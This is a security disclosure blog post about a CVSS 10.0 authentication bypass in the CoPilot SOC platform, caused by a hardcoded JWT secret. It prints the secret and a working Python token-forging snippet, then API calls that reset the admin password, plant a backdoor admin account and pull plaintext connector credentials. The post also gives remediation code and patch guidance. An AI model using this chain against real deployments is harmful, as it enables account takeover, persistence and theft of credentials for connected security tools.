Security7 min readApril 24, 2026

How a Hardcoded JWT Secret Gives Anyone Admin Access to CoPilot

By Jonah DaCosta

A critical authentication bypass in CoPilot allows unauthenticated attackers to forge admin JWTs, reset passwords, plant backdoor accounts, and harvest credentials for every connected SOC tool — all from a secret that has been public since the first commit.

Security disclosure blog header image

The short version

There is a hardcoded JWT signing secret in CoPilot's source code. It ships in .env.example. It is indexed on GitHub. Any deployment where JWT_SECRET is not explicitly set — including the default Docker Compose setup — signs every authentication token with this public value.

Five lines of Python and no credentials. That is all it takes to forge a valid admin JWT and own the entire application.

This is GHSA-4gxj-hw3c-3x2x. CVSS 10.0 Critical. A CVE has been requested by the maintainer and is currently pending assignment.


What the vulnerability is

The issue is in backend/app/auth/utils.py, line 28:

secret = os.environ.get("JWT_SECRET", "bL4unrkoxtFs1MT6A7Ns2yMLkduyuqrkTxDV9CjlbNc=")

That default value is not a placeholder. It is the actual signing key used in production for any deployment that does not set JWT_SECRET before starting. Because it ships verbatim in .env.example and is committed to the public repository, it is a known secret — which is categorically worse than a weak one. A weak secret requires cracking. A known secret requires a copy-paste.

The backend performs two checks on incoming JWTs: valid signature, and the sub claim must exist in the database. The admin account is seeded automatically on every first startup. An attacker who knows the public secret satisfies both checks with no prior knowledge of the target.


The full attack chain

All of the following was confirmed against a live default deployment. Every step returned HTTP 200.

Step 1 — Forge an admin token

import jwt, time
secret = "bL4unrkoxtFs1MT6A7Ns2yMLkduyuqrkTxDV9CjlbNc="
token = jwt.encode(
    {"sub": "admin", "scopes": ["admin"], "exp": int(time.time()) + 86400},
    secret, algorithm="HS256"
)

No credentials. No prior access. Just the public secret.

Step 2 — Confirm the bypass

GET /api/auth/users  →  HTTP 200
{
  "users": [
    {"id": 1, "username": "admin", "email": "admin@admin.com", "role_name": "admin"},
    {"id": 2, "username": "scheduler", "email": "scheduler@scheduler.com", "role_name": "scheduler"}
  ]
}

Step 3 — Reset the admin password

POST /api/auth/reset-password  →  HTTP 200
{"username": "admin", "new_password": "attacker-controlled"}

/api/auth/reset-password accepts a forged token with no secondary verification. No current password. No email confirmation. No MFA. This is an independent finding — even if the JWT secret were rotated today, any forged tokens already in circulation can still reset passwords until they expire.

Step 4 — Plant a backdoor account

POST /api/auth/register  →  HTTP 200
{"username": "backdoor", "role_id": 1, ...}

This account lives in the database. It survives a JWT secret rotation. The attacker re-enters legitimately after remediation using the planted credentials.

Step 5 — Harvest connector credentials

GET /api/connectors  →  HTTP 200
[plaintext credentials for Wazuh, Graylog, DFIR-IRIS, Cortex, Velociraptor, ...]

CoPilot stores every integration credential in the database and returns them in plaintext via the API. With admin access, an attacker does not just compromise CoPilot — they inherit admin-level control of every security tool connected to it.

The full PoC — including forge, dump-users, dump-connectors, add-admin, reset-password, and a chain command that runs all steps end-to-end — is available at: github.com/Chimppppy/copilot-jwt-hardcoded-secret-poc


Why this is worse than it looks on paper

CoPilot is a SOC automation platform. Its connectors hold admin-level access to the tools that run a security operations center:

  • Wazuh — detection rules, agent management, alert thresholds
  • DFIR-IRIS — active incident cases
  • Velociraptor — endpoint execution capability
  • Cortex — analyzer and responder triggers
  • Graylog — log pipelines

An attacker who pivots from CoPilot into these tools does not just read data. They can modify detection rules to whitelist their own infrastructure, suppress or delete active alerts, and close incident cases. The compromise becomes self-concealing. The SOC analyst opens CoPilot to investigate an alert and finds nothing, because the tool they are investigating with is under attacker control.

This is the reason the CVSS scope modifier is S:C — Changed. The impact does not stop at the application boundary.


Additional findings surfaced during the review

Finding 02 — No secondary verification on password reset

/api/auth/reset-password requires only a valid admin-scoped JWT. No current password. No per-user token. Any admin JWT — including a forged one — resets any account. This is independently exploitable even after the JWT secret is fixed, if previously issued forged tokens are still live.

Finding 03 — Connector credentials in plaintext API responses

Credentials for all integrated tools are stored and returned without encryption. They should never appear in API responses at all. At minimum they should be encrypted at rest, and API responses should return masked indicators rather than raw secrets.

Finding 04 — decode_token() returns string sentinels instead of raising exceptions

def decode_token(self, token):
    try:
        payload = jwt.decode(token, self.secret, algorithms=["HS256"])
        return payload["sub"], payload.get("scopes", [])
    except jwt.ExpiredSignatureError:
        return "Expired signature", []
    except jwt.InvalidTokenError:
        return "Invalid token", []

Any call site that does not explicitly check for the strings "Expired signature" or "Invalid token" before trusting the returned username silently processes invalid tokens. This compounds the primary finding — the auth layer has multiple independent failure modes.


The remediation I recommended

The fix I proposed goes beyond "set your .env." The root problem is that the application silently accepts a known secret when JWT_SECRET is absent. The right solution is to auto-generate a unique secret per deployment on first run, so there is no misconfiguration path:

import os, secrets, warnings

def _load_jwt_secret() -> str:
    secret = os.environ.get("JWT_SECRET")

    if not secret:
        secret = secrets.token_urlsafe(32)
        env_path = os.path.join(os.path.dirname(__file__), "../../../../.env")
        with open(env_path, "a") as f:
            f.write(f"\nJWT_SECRET={secret}\n")
        warnings.warn(
            "JWT_SECRET was not set. A secure secret has been generated and "
            "written to .env. Restart the application to load it.",
            stacklevel=2,
        )

    if secret == "bL4unrkoxtFs1MT6A7Ns2yMLkduyuqrkTxDV9CjlbNc=":
        raise RuntimeError("JWT_SECRET is the hardcoded insecure default. Rotate it and restart.")

    if len(secret) < 32:
        raise RuntimeError("JWT_SECRET must be at least 32 characters.")

    return secret

class AuthHandler:
    secret = _load_jwt_secret()

This means a default deployment is immediately secure without any operator action. The known compromised default is explicitly rejected even if manually re-entered. And the application fails loudly at startup rather than silently accepting a weak configuration.


On the disclosure

The advisory is now public. SOCFortress handled the disclosure professionally — they patched it in v0.1.57 within days of the report and requested CVE assignment on publish.

CVSS 10.0 is accurate. Unauthenticated, no interaction required, full admin access, lateral movement into every connected security tool, self-concealing persistence. The score fits.

If you are running CoPilot, upgrade to v0.1.57 and explicitly set JWT_SECRET before restarting. Migration notes for TOTP are in the advisory.


References